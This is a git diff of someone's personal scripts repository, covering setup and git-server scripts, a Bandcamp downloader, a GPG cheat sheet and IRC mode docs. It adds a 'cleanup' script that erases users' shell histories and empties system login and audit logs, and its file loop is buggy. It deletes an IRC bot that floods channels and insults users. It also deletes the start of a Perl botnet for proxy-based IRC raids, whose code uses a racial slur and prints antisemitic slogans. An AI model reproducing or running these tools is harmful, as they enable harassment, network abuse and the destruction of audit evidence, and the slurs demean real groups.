diff --git a/acidbox/setup b/acidbox/setup
@@ -34,7 +34,7 @@ ${YELLOW}Type ${BGREEN}cmds${YELLOW} to see a list of commands available.${RESET
}
setup_user() {
- sudo useradd -m -G ssh -s /bin/bash $1
+ sudo useradd -m -s /bin/bash $1
mkdir /home/$1/.scripts
wget -O /home/$1/.bashrc https://git.supernets.org/acidvegas/acidbox/blob/master/files/.bashrc
wget -O /home/$1/.scripts/cmds https://git.supernets.org/acidvegas/acidbox/blob/master/files/cmds
diff --git a/bandcamp.py b/bandcamp.py
@@ -0,0 +1,10 @@
+#!/usr/bin/env python
+import re,sys,urllib.request
+if len(sys.argv)!=2:raise SystemExit('error: invalid arguments')
+source=urllib.request.urlopen(f'https://{sys.argv[1]}.bandcamp.com/music').read().decode('utf-8')
+for album in re.compile('<a href="/album/(.*?)">').findall(source):
+ print(f'found album "{album}"')
+ source=urllib.request.urlopen(f'http://downloadbandcamp.com/{sys.argv[1]}.bandcamp.com/album/{album}').read().decode('utf-8')
+ for song in re.findall('(https?://t4\S+).*download="(.*?)"',source):
+ print(f'downloading "{song[1]}"')
+ urllib.request.urlretrieve(song[0][:-1],song[1])
+\ No newline at end of file
diff --git a/cleanup b/cleanup
@@ -0,0 +1,12 @@
+#!/bin/sh
+clear_history() {
+ for USERHOME in /home/*/; do
+ for f in .config/cmus/command-history .config/cmus/search-history bash_history history lesshst mysql_history nano_history python_history recently-used ssh/known_hosts wget-hsts wpa_cli_history; do
+ [ -f $USERHOME/.$f ] && rm $USERHOME/.bash_history
+ done
+ done
+ for f in btmp faillog journal lastlog syslog wtmp; do
+ [ -f /var/log/$f ] && >/var/log/$f
+ done
+ journalctl --vacuum-size=1B
+}
+\ No newline at end of file
diff --git a/clitter.py b/clitter.py
@@ -4,6 +4,9 @@
'''
Requirements:
Tweepy (http://pypi.python.org/pypi/tweepy)
+
+Todo:
+ Fuck tweepy, convert this shit to pure python, no 3rd party libs. Oh wait I hardly ever use Twatter...
'''
import sys
diff --git a/cmus-now b/cmus-now
@@ -0,0 +1,6 @@
+#!/bin/sh
+if ps -C cmus > /dev/null; then
+ artist=`cmus-remote -Q | grep --text '^tag artist' | sed '/^tag artistsort/d' | awk '{gsub("tag artist ", "");print}'`
+ title=`cmus-remote -Q | grep --text '^tag title' | sed -e 's/tag title //' | awk '{gsub("tag title ", "");print}'`
+ notify-send "Now Playing: $artist - $title"
+fi
+\ No newline at end of file
diff --git a/craggle.py b/craggle.py
@@ -3,6 +3,7 @@
'''
Random script to parse all the countries, states, cities, & sections/sub-sections on CraigsList
+Dont know what I am doing with this yet...
'''
import re, time, urllib.request
diff --git a/docs/gpg.md b/docs/gpg.md
@@ -1,40 +1,30 @@
# GPG Cheat Sheet
## Create a key
-`gpg --expert --full-generate-key`
-* RSA (set your own capabilities)
-* Set to Certify only.
-* 4096
-* 2020-01-01
-
-`gpg --expert --edit-key <userid>`
-* `addkey` (Create 3, one for sign, encrypt, authenticate)
-* `adduid`
-* `save`
+* `gpg --expert --full-generate-key`
+ * RSA (set your own capabilities)
+ * Set to Certify only
+ * 4096
+ * 2020-01-01
+* `gpg --expert --edit-key <userid>`
+ * `addkey` (Create 3, one for sign, encrypt, authenticate)
+ * `addphoto` *(240x288)*
+ * `save`
+ * `quit`
+* `gpg -a --output revoke.asc --gen-revoke '<fingerprint>'`
## Backup key
-* `mv ~/.gnupg/secring.gpg ~/.backup/gpg/`
-* `mv ~/.gnupg/pubring.gpg ~/.backup/gpg/`
-* `gpg -a --export-secret-key <userid> > secret_key.gpg`
+* `gpg -a --export-secret-key <userid> > secret_key.gpg`
* `gpg -a --export-secret-subkeys <userid> > secret_subkeys.gpg`
* `gpg --delete-secret-keys <userid>`
* `gpg --import secret_subkeys.gpg`
* `gpg --list-secret-keys`
-* `rm secret_subkeys.gpg`
-
-## Revoke cert
-* `gpg -a --output revoke.asc --gen-revoke '<fingerprint>'`
+* `gpg --edit-key <KEYID>` *(type `trust` and press `5`)*
## Import/Export public key
* `gpg --import public.key`
* `gpg --output public.key --armor --export <userid>`
-
-## Import/Export private key
* `gpg --export-secret-keys --armor <userid> > privkey.asc`
-* `gpg --import privkey.asc`
-
-## Edit keys
-* `gpg --edit-key <userid>`
## List (secret) keys
* `gpg --list-keys`
@@ -55,18 +45,14 @@ or...
* `gpg --output doc.sig --detach-sig doc`
## Verify
-* `gpg --verify doc.sig`
-* `gpg --verify archlinux-version.iso.sig`
-* `gpg --verify archlinux-version.iso.sig /path/to/archlinux-version.iso`
+* `gpg --verify example.sig`
+* `gpg --verify example.sig /path/to/example.iso`
* `gpg --with-fingerprint <keyfile>`
## Send keys
-* `gpg --send-keys <userid>`
-* `gpg --refresh-keys`
-
-## Get keys
-* `gpg --recv-key '<fingerprint>'`
-* `gpg --fingerprint '<fingerprint>'`
+* `gpg --keyserver <keyserver> --send-keys <user-id>`
+* `gpg --recv-key '<fingerprint> && gpg --fingerprint '<fingerprint>'`
+* `gpg --search-keys '<userid>'`
## Sign key
* `gpg --lsign-key '<fingerprint>'`
diff --git a/docs/unreal.md b/docs/unreal.md
@@ -0,0 +1,134 @@
+# Modes
+
+#### User Modes
+| Mode | Description | Restriction |
+| ---- | -------------------------------------------------------------------- | --------------- |
+| B | marks you as being a bot in WHOIS | |
+| d | can only see messages prefixed with `!@$. | |
+| D | can only receive private messages from operators, servers & services | |
+| H | hide operator status in WHOIS | oper-only |
+| I | hide online time in WHOIS | oper-only |
+| i | hidden from WHO & NAMES if queried from outside the channel | |
+| o | network operator | set by server |
+| p | hide your channels in WHOIS | |
+| q | unkickable | oper-only |
+| r | registered nick | set by services |
+| R | can only receive private messages from registered users | |
+| S | services bot | services-only |
+| s | receive server notices | oper-only |
+| T | can not recieve CTCPs | |
+| t | indicates using a vhost | set by server |
+| w | receive wallops messages | |
+| x | hidden cloaked hostname | |
+| Z | can only send/receive private messages with ssl/tls users | |
+| z | indicates connected via ssl/tls | set by server |
+
+#### Channel Modes
+###### Access Levels
+| Mode | Description | Restriction |
+| ---- | -------------------------------------------------------- | --------------- |
+| v | voice - able to speak in +m/+M channels | +h |
+| h | halfop - has most of the privledges as op | +o |
+| o | op - full privledges | +o |
+| a | admin - same as op except can not be kick by +ho users | +q |
+| q | owner - same as op except can not be kick by +hoa users | set by services |
+
+###### List Modes
+| Mode | Description | Restriction |
+| ---- | --------------------- | ----------- |
+| b | ban user from channel | +h |
+| e | ban exemption | +h |
+| I | invite exemption | +h |
+
+###### Settings
+| Mode | Description | Restriction |
+| ---- | ------------------------------------------------------ | --------------- |
+| c | no color | +o |
+| C | no ctcp | +o |
+| D | delay JOIN messages until they speak | +o |
+| d | indicates hidden users after unsetting +D | set by server |
+| f | flood protection see below | +o |
+| G | enable word filters | +o |
+| H | channel history | +o |
+| i | requires people to be /INVITE'd to the channel | +o |
+| k | users must specify a channel key in order to join | +h |
+| K | /KNOCK command is not allowed | +o |
+| L | users who cant join are be redirected to this channel | +o |
+| l | limit the amount of users that may be in the channel | +o |
+| m | only people with +v or higher (+vhoaq) may speak | +h |
+| M | must be authenticated or have +v to speak | +o |
+| N | no nick-changes permitted | +o |
+| n | no external messages | +h |
+| O | operator only channel | oper-only |
+| P | permanent channel | oper-only |
+| p | private channel | +o |
+| Q | no /KICK allowed. Can use services for kicking | +o |
+| R | only registered users may join | +o |
+| r | channel is registered | set by services |
+| s | channel hidden from /LIST and /WHOIS | +o |
+| S | strip color codes | +o |
+| T | channel notices are not permitted | +o |
+| t | restricts /TOPIC to +h or higher | +h |
+| V | can not invite users to channel | +o |
+| z | only allow SSL/TLS users to join | +o |
+| Z | indicates all users connected via SSL/TLS when +z | set by server |
+
+
+
+NOT FINISHED BELOW THIS LINE YADDA YADDA YA
+
+###### Mode f
+
+###### Extended Bands
+H max-lines-to-record:max-time-to-record-in-minutes
+server-time cap
+
+
+c CTCPs Set channel mode +C (block all CTCP's) m, M
+j joins Set channel mode +i (invite only) R
+k knocks Set channel mode +K (no /knock's) Counted for local clients only
+m messages/notices Set channel mode +m (regular users cannot speak) M
+n nick changes Set channel mode +N (no nick-changes permitted)
+t text Kick the user b Unlike all the rest, these are per-user message/notice limits. Action is to kick or kick+ban the user.
+
+
+
+
+
+
+
+
+
+t extbans/timedban Timed ban that will make a ban unset after the specified number of minutes. +b ~t:3:*!*@hostname
+
+The following ban types specify which actions (join, nick-change or speaking) are affected by a ban:
+Extban Module Explanation Example
+q extbans/quiet People matching these bans can join but are unable to speak, unless they have +v or higher. +b ~q:*!*@*.blah.com
+n extbans/nickchange People matching these bans cannot change nicks, unless they have +v or higher. +b ~n:*!*@*.aol.com
+j extbans/join When a user matches this (s)he may not join the channel but if already in the channel then all activities are permitted such as speaking or changing the nick. This can be useful to ban an entire ISP and then manually /INVITE people to the channel so once joined they can behave as normal. +b ~j:*!*@*.aol.com
+f chanmodes/link Forward user to another channel if matching mask. +b ~f:#badispchannel:*!*@*.isp.com
+m extbans/msgbypass Bypass message restrictions. This extended ban is only available as +e and not as +b. Syntax: +e ~m:type:mask.
+
+Valid types are: external (bypass +n), moderated (bypass +m/+M), censor (bypass +G), color (bypass +S/+c) and notice (bypass +T).
+ +e ~m:moderated:*!*@192.168.*
+
++e ~m:external:*!*@192.168.*
++e ~m:color:~a:ColorBot
+
+These bantypes introduce new criteria which can be used:
+Extban Module Explanation Example
+a extbans/account If a user is logged in to services with this account name, then this ban will match. This is slightly different than ~R, in the sense that a user with nick ABC may be logged in under account XYZ. Not all services packages support this, in which case you will have to use ~R instead. +e ~a:SomeAccount
+
++I ~a:SomeAccount
+c extbans/inchannel If the user is in this channel then (s)he is unable to join. A prefix can also be specified (+/%/@/&/~) which means that it will only match if the user has that rights or higher on the specified channel. +b ~c:#lamers
+
++e ~c:@#trustedops
+O extbans/operclass If the user is an IRCOp and the oper::operclass matches this name then the ban/invex will match. You can use this to for example create *admin* only channels. +iI ~O:*admin*
+r extbans/realname If the realname (gecos) of a user matches this then (s)he is unable to join. Since real names may contain spaces you can use a underscore to match a space (and underscore) +b ~r:*Stupid_bot_script*
+S extbans/certfp When a user is using SSL/TLS with a client certificate then you can match the user by his/her SSL fingerprint (the one you see in /WHOIS). Useful for ban exemptions (+e) and invite exceptions (+I). +e ~S:0000000etc
+
++I ~S:0000000etc
+T extbans/textban Channel-specific text filtering. Supports two actions: 'censor' and 'block', see examples on the right. +b ~T:censor:*badword*
+
+
+https://www.unrealircd.org/docs/User_%26_Oper_commands
diff --git a/gitserver.sh b/gitserver.sh
@@ -2,6 +2,7 @@
[ ! getent group ssh ] && groupadd ssh
[ ! grep -q /usr/bin/git-shell /etc/shells ] && echo /usr/bin/git-shell >> /etc/shells
[ ! $(getent passwd git > /dev/null) ] && userdel -f git
+[ ! -d /srv/git ] && mkdir /srv/git
useradd -d /srv/git -G ssh -k /dev/null -m -s /usr/bin/git-shell -U git
echo "PUBLICKEY" > /etc/ssh/authorized_keys/git
-mkdir "$1.git" && cd "$1.git" && git -C "$1.git" --bare init chown -R git:git "$1.git"
-\ No newline at end of file
+mkdir /srv/git/$1.git && git -C /srv/git/$1.git --bare init && chown -R git:git /srv/git/$1.git
+\ No newline at end of file
diff --git a/gmail.py b/gmail.py
@@ -0,0 +1,5 @@
+#!/usr/bin/env python
+import smtplib,sys
+with smtplib.SMTP_SSL('smtp.gmail.com',465) as server:
+ server.login('username@gmail.com','password')
+ server.sendmail('username@gmail.com','target@mail.com',' '.join(sys.argv[1:]))
+\ No newline at end of file
diff --git a/irc/anythinggoes/anythinggoes.py b/irc/anythinggoes/anythinggoes.py
@@ -1,265 +0,0 @@
-# -*- coding: utf-8 -*-
-#!/usr/bin/env python
-# THEGAME IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
-import random,socket,ssl,threading,time
-
-# Config
-admin_ident = 'ak!ak@super.nets'
-channel = '#anythinggoes'
-nickserv_password = 'CHANGEME'
-operator_password = 'CHANGEME'
-throttle_msg = 0.15
-
-# Formatting Control Characters / Color Codes
-bold = '\x02'
-italic = '\x1D'
-underline = '\x1F'
-reverse = '\x16'
-reset = '\x0f'
-white = '00'
-black = '01'
-blue = '02'
-green = '03'
-red = '04'
-brown = '05'
-purple = '06'
-orange = '07'
-yellow = '08'
-light_green = '09'
-cyan = '10'
-light_cyan = '11'
-light_blue = '12'
-pink = '13'
-grey = '14'
-light_grey = '15'
-
-def color(msg,foreground,background=None):return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
-def error(msg,reason):print(f'{get_time()} | [!] - {msg} ({reason})')
-def get_time():return time.strftime('%I:%M:%S')
-def random_str(size):return ''.join(random.choice('aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ') for _ in range(size))
-
-class Functions:
- def banana_bomb():
- for i in range(random.randint(5,10)):
- spaces=random.randint(1,120)
- for line in banana_data:
- Bot.sendmsg(channel,' '*spaces+line)
-
- def chat_rain(amount):
- words = ('ok','tru','same','wow','nice','XD','ok','np','sup','cool','nmu','lol','ah','srry','jk')
- for i in range(amount):
- Bot.sendmsg(channel,' '*random.randint(3,25)+random.choice(words)+' '*random.randint(10,50)+random.choice(words)+' '*random.randint(10,50)+random.choice(words))
-
- def crab_flood(amount):
- counter=1
- notify=random.randint(100,999)
- if amount>=1000000:
- amount=1000000
- Bot.sendmsg(channel,color('GENTLEMEN! BEHOLD!',red))
- Bot.sendmsg(channel,color('THE MILLION CRAB MARCH!',red))
- for i in range(amount):
- spaces=random.randint(1,120)
- for line in crab_data:
- Bot.sendmsg(channel,' '*spaces+line)
- counter+=1
- if counter==notify:
- spaces=random.randint(1,120)
- Bot.sendmsg(channel,color(' '*spaces+str(i)+' MOTHER FUCKING CRABS !!!',red))
- counter=1
-
- def grave(nick):
- length=len(nick)
- Bot.sendmsg(channel,color(' '*(length+8),light_blue,light_blue))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_blue,light_blue),color(' ',grey,grey),color(' '*length,light_grey,light_grey),color(' ',light_blue,light_blue)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_blue,light_blue),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_blue,light_blue)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color('R I P'.center(length+2),black,light_grey),color(' ',light_green,light_green)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(nick.upper().center(length+2),black,light_grey),color(' ',light_green,light_green)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color('2018'.center(length+2),black,light_grey),color(' ', light_green,light_green)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ', light_green,light_green)))
-
- def rain(word,amount):
- for i in range(amount):
- Bot.sendmsg(channel,' '*random.randint(3,25)+word+' '*random.randint(10,50)+word+' '*random.randint(10,50)+word)
-
- def rope(length):
- spaces=50
- prev=None
- for i in range(length):
- if random.choice((True,False)):
- if prev!='╱':spaces+=1
- char='╲'
- else:
- if prev!='╲':spaces-=1
- char='╱'
- Bot.sendmsg(channel,' '*spaces+char)
- prev=char
- Bot.sendmsg(channel,' '*(spaces-2)+'(;))')
-
- def wave(msg,lines,spaces,hilite):
- rainbow=['04','08','09','11','12','13']
- spacer=15
- spaces+=spacer
- toggle=True
- data=list()
- for i in range(lines):
- if hilite:
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format((Bot.nicks[0]+': ').ljust(spacer),color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
- Bot.nicks.append(Bot.nicks.pop(0))
- else:
- Bot.sendmsg(channel, '{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
- rainbow.append(rainbow.pop(0))
- if toggle:spacer+=1
- else:spacer-=1
- if spacer==spaces:toggle=False
- elif spacer==15:toggle=True
-
- def worm(length):
- spacer=random.randint(10,100)
- Bot.sendmsg(channel,'{0} {1}{2}'.format(' '*spacer,color('░▒▓',pink),color('▓▒░',pink)))
- Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
- Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
- for i in range(length):
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
- if random.choice((True,False)):spacer += 1
- else:spacer-=1
- Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('_ _',black,pink),color('▓▒░',pink)))
- Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('o o',black,pink),color('▓▒░',pink)))
- Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
-
-class WormNet(threading.Thread):
- def __init__(self):
- self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- threading.Thread.__init__(self)
- def run(self):
- Bot.wormnet=True
- try:
- self.sock.connect(('wormnet1.team17.com',6667))
- self.raw('PASS ELSILRACLIHP')
- self.raw('USER Username hostname servername :48 0 US 3.7.2.1')
- self.raw('NICK SUPERNETS')
- while True:
- data=self.sock.recv(1024).decode('utf-8')
- for line in (line for line in data.split('\r\n') if len(line.split())>=2):
- Bot.sendmsg_wormnet('raw',cyan,line)
- args=line.split()
- if line.startswith('ERROR :Closing Link:'):raise Exception('Connection has closed.')
- elif args[0]=='PING':self.raw('PONG '+args[1][1:])
- elif args[1]=='001':self.raw('JOIN '+channel)
- elif args[1]=='366':Bot.sendmsg_wormnet('join',green,'Joined #anythinggoes channel!')
- except (UnicodeDecodeError,UnicodeEncodeError):pass
- except Exception as ex:
- Bot.sendmsg_wormnet('error',red,'Unknown error occured!',ex)
- self.sock.close()
- Bot.wormnet=False
- Bot.sendmsg_wormnet('disconnected',red,'Lost connection to the WormNet relay!')
- def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
- def sendmsg(self,target,msg):self.raw(f'PRIVMSG {target} :{msg}')
-
-class IRC(object):
- def __init__(self):
- self.nicks=list()
- self.echo=False
- self.sock=None
- self.wormnet=False
-
- def connect(self):
- try:
- self.sock=ssl.wrap_socket(socket.socket(socket.AF_INET,socket.SOCK_STREAM))
- self.sock.connect(('irc.supernets.org',6697))
- self.raw(f'USER THEG 0 * :YOU LOST THE GAME')
- self.raw('NICK THEGAME')
- while True:
- data = self.sock.recv(1024).decode('utf-8')
- for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
- print(f'{get_time()} | [~] - {line}')
- args = line.split()
- if args[0]=='PING':self.raw('PONG '+args[1][1:])
- elif args[1]=='001':
- self.raw('MODE THEGAME +BDd')
- self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password)
- self.raw(f'OPER thegame {operator_password}')
- self.raw('JOIN '+channel)
- elif args[1]=='433':self.raw('NICK THE_GAME_'+str(random.randint(10,99)))
- elif args[1]=='353' and len(args)>=6:self.nicks+=' '.join(args[5:])[2:].split()
- elif args[1]=='JOIN' and len(args)==3:self.raw('NOTICE {0} :Thank you for joining #AnythingGoes, you have {1} memo(s) waiting. Please type /server MemoServ read to check your messages.'.format(args[0].split('!')[0][1:],color(random.randint(1,3),red)))
- elif args[1]=='PART' and len(args)>=3:
- self.sendmsg(args[2],color('EMO-PART DETECTED',red))
- self.sendmsg(args[0].split('!')[0][1:],'bet u wont come back pussy...')
- elif args[1]=='PRIVMSG' and len(args)>=4:
- ident=args[0][1:]
- nick=args[0].split('!')[0][1:]
- chan=args[2]
- msg= ' '.join(args[3:])[1:]
- if chan==channel:self.event_message(ident,nick,chan,msg)
- elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:])
- except(UnicodeDecodeError,UnicodeEncodeError):pass
- except:self.sock.close()
- time.sleep(15)
- self.connect()
-
- def event_message(self,ident,nick,chan,msg):
- args=msg.split()
- if msg[:1]=='!':
- if msg=='!bananabomb':Functions.banana_bomb()
- elif msg=='!crate':
- for line in crate_data:self.sendmsg(channel,line)
- elif msg=='!echo':
- self.echo=False if self.echo else True
- elif msg=='refresh':
- self.nicks=list()
- self.raw('NAMES #anythinggoes')
- elif msg=='!wormnet' and not self.wormnet and ident==admin_ident:WORMS.start()
- elif msg=='!worms':
- for line in worms_data:self.sendmsg(channel, line)
- elif len(args)==2:
- if args[1].isdigit():
- amount=int(args[1])
- if args[0]=='!chatrain':
- if amount<=100 or ident==admin_ident:Functions.chat_rain(amount)
- else:self.sendmsg(chan,'Max: 100')
- elif msg.startswith('!crabflood'):
- if amount<=10 or ident==admin_ident:Functions.crab_flood(amount)
- else:self.sendmsg(chan,'Max: 10')
- elif msg.startswith('!rope'):
- if amount<=100 or ident==admin_ident:Functions.rope(amount)
- else:self.sendmsg(chan,'Max: 100')
- elif msg.startswith('!worm'):
- if amount<=100 or ident==admin_ident:Functions.worm(amount)
- else:self.sendmsg(chan,'Max: 100')
- elif args[0]=='!rain' and len(args)>=3:
- amount=args[1]
- data=' '.join(args[2:])
- if args[1].isdigit():
- if int(args[1])<=100 or ident==admin_ident:Functions.rain(data,int(args[1]))
- else:self.sendmsg(chan,'Max: 100')
- elif args[0] in ('!wave','!wavehl') and len(args)>=4:
- lines =args[1]
- spaces=args[2]
- data=' '.join(args[3:])
- if lines.isdigit() and spaces.isdigit():
- if int(lines)<=100 or ident==admin_ident:
- if args[0]=='!wave':
- Functions.wave(data,int(lines),int(spaces),False)
- else:
- Functions.wave(data,int(lines),int(spaces),True)
- else:self.sendmsg(chan,'Max: 100')
- elif self.echo:self.sendmsg(chan,msg)
-
- def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
- def sendmsg(self,target,msg):
- time.sleep(throttle_msg)
- self.raw(f'PRIVMSG {target} :{msg}')
- def sendmsg_wormnet(self,title,title_color,msg,extra=None):
- if extra:self.sendmsg(channel,'[{0}] [{1}] {2} {3}'.format(color('WORMNET',pink),color(title,title_color),msg,color('({0})'.format(extra),grey)))
- else:self.sendmsg(channel,'[{0}] [{1}] {2}'.format(color('WORMNET',pink),color(title,title_color),msg))
-
-# Main
-banana_data=open('data/banana.txt').readlines()
-crab_data=open('data/crab.txt').readlines()
-crate_data=open('data/crate.txt').readlines()
-worms_data=open('data/worms.txt').readlines()
-Bot=IRC()
-WORMS=WormNet()
-Bot.connect()
diff --git a/irc/asian-arab.pl b/irc/asian-arab.pl
@@ -1,577 +0,0 @@
-#!/usr/bin/perl
-#
-#
-
-# {{{ original copyrights & info
-
-# This is proxysuite, written in GNU/PURL
-# by Jmax, of bantown and the GNAA.
-# It gathers and tests proxies, both http and socks4
-
-# This product is licensed under the BPL.
-# You should have recieved a copy of the
-# license with this program
-
-# el8 tr0ll c0dez by Jmax [ BANTOWN irc.bantown.com #bantown ] [ GNAA irc.gnaa.us #gnaa ]
-
-
-# ASIAN 2.0 by Jmax
-#
-# I have made many modifications:
-# - Use of command line arguments as opposed to editing the script itself.
-# - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required)
-# - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required)
-# - Improved fork routine/library
-
-# Must be run on a POSIX-compliant system, with perl.
-# note that there's a bug in the way that COMPUTER MACHINEZ COMPUTE,
-# and therefore proxies can't be shared between forks. Oh well.
-
-# The original header (for historical reasons)
-# is as follows (NOTE: syntax here is _incorrect_):
-# -----------------------------------------------
-# ASIAN by Rucas
-# Automated Synchronous IRC Assault Network
-# Based on AYSYN by mef
-#
-# Make sure to put a SOCKS5 proxy list in proxies.txt in the same
-# directory as this script. If you'd like to use tor, you can put
-# the correct info on one line in proxies.txt and this app will
-# still function properly (although generally tor sucks)
-#
-# All bots join $g_channel and are issued raw irc commands from there
-# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or
-# "botname PRIVMSG Rucas lol failure" and such.
-#
-# Testing of an early version of this script is the reason that
-# Freenode now checks for open SOCKS proxies.
-# -----------------------------------------------
-
-# }}}
-
-use warnings;
-use strict;
-
-use IO::Socket;
-use IO::Handle;
-use POSIX qw(:signal_h :sys_wait_h); # fork
-
-use Time::HiRes;
-# use Data::Dumper;
-
-use vars qw($VERSION);
-$VERSION = "3.0";
-
-
-# {{{ globals
-
-my ($g_forkcount, $g_pid) = (0, undef);
-my ($g_dead_nigger_storage, $g_maxfork) = (0, 40);
-
-my ($g_network, $g_channel);
-
-# }}}
-
-# {{{ signal handlers
-
-$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; };
-$SIG{CHLD} = sub { $g_dead_nigger_storage++ while(($g_pid = waitpid(-1, WNOHANG)) > 0); };
-
-# }}}
-
-
-# {{{ entry point
-
-error("please run using the --help argument") unless $ARGV[0];
-if ($ARGV[0] eq '--help') {
- show_usage(); exit 0;
-} elsif ($ARGV[0] eq '--version') {
- show_version(); exit 0;
-} else {
- error("please run using the --help argument") unless $ARGV[1];
- $g_network = $ARGV[0];
- $g_channel = $ARGV[1];
-}
-
-# }}}
-
-# {{{ help/usage information
-
-sub show_help {
- print "arab $VERSION by vxp\n".
- "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n".
- "!!! STOP SUPPORTING ISRAELI DOGS !!!\n".
- "Based on code & ideas by Jmax, Rucas, abez and mef.\n".
- "\n".
- "\n".
- " Invocation:\n".
- " perl ".__FILE__." server \"#channel\"\n".
- "\n".
- " XXX, and \"#channel\" is the control channel you want the bots\n".
- " to join. Please note that some shells will interpret the # in\n".
- " \"#channel\" as acomment, and will not send it to the script.\n".
- " In this case, you may either use quotes, or escape the '#'.\n".
- " I prefer quotes.\n".
- " Note that a list of (nick|user|real) names is expected to reside\n".
- " in ./names.txt\n".
- "\n".
- "\n".
- " Usage:\n".
- " all <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
- " <botname> <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
- " <botname>,<botname2>,... <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
- "\n".
- " Simply privmsg your command to the control channel, and the respective bots will follow.\n".
- "\n".
- " Examples:\n".
- " <~supers> all join #gnaa gnaa\n".
- " All bots will join #gnaa using the key 'gnaa'\n".
- " <~supers> all privmsg #gnaa :LOL HY LOL HY\n".
- " All bots will say \"LOL HY LOL HY\" in #gnaa\n".
- " <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n".
- " The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n".
- " <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n".
- " The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n".
- " will part #gnaa with reason 'lol jews'\n".
- "\n".
- "\n".
- " Enjoy. -- vxp\n";
-}
-
-# }}}
-
-# {{{ version information
-
-sub show_version {
- print "arab $VERSION by vxp\n".
- "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n".
- "!!! STOP SUPPORTING ISRAELI DOGS !!!\n".
- "Based on code & ideas by Jmax, Rucas, abez and mef.\n".
- "\n";
-}
-
-# }}}
-
-
-# load the proxy and name list(s)
-my @g_proxies = load_proxy_list();
-my @g_names = load_name_list();
-
-
-# resolve the host name of the specified target ircd
-# and cache it in a shared variable
-my ($g_server_host, @g_server_ip);
-$g_server_host = $ARGV[0];
-@g_server_ip = resolve($g_server_host);
-
-
-# fork(2) off up to $g_maxfork child processes to use as
-# a pool for subsequent connection attempts
-notice("Initializing (forking) bots");
-for ($g_forkcount = 0; # $g_forkcount must _not_
- $g_forkcount < $g_maxfork; # be local to here
- $g_forkcount++) {
- sleep 1; # so we don't overload ourselves
-
- if (!defined(my $g_pid = fork())) { # fork
- error("couldn't fork: $!"); # die if fork fails
- } elsif ($g_pid == 0) {
- # in child:
- while (@g_proxies) {
- # grab a random proxy off the list...
- my $proxy_slot = int rand @g_proxies;
- my $proxy = $g_proxies[$proxy_slot];
-
- # ...attempt to establish a connection through it and
- # join a drone into the control channel on success.
- if(spawn_bot($proxy->{ip}, $proxy->{port}, $proxy->{type},
- @g_server_ip, $g_server_host)) {
- # succeeded
- } else {
- # failed, delete proxy
- # XXX: not shared
- #delete $g_proxies[$proxy_slot];
- };
-
- sleep 10; # to prevent throttling by IRCd
- }
- exit 0;
-
- } else {
- # in parent:
-
- }
-}
-
-sleep while ($g_dead_nigger_storage < $g_maxfork);
-exit 666;
-
-
-# {{{ load lists
-
-sub load_proxy_list {
- my (@proxies);
-
- error("$@") unless push @proxies, load_socks4_list();
- error("$@") unless push @proxies, load_socks5_list();
- error("$@") unless push @proxies, load_http_list();
- return @proxies;
-}
-
-sub load_socks4_list {
- my (@proxies);
-
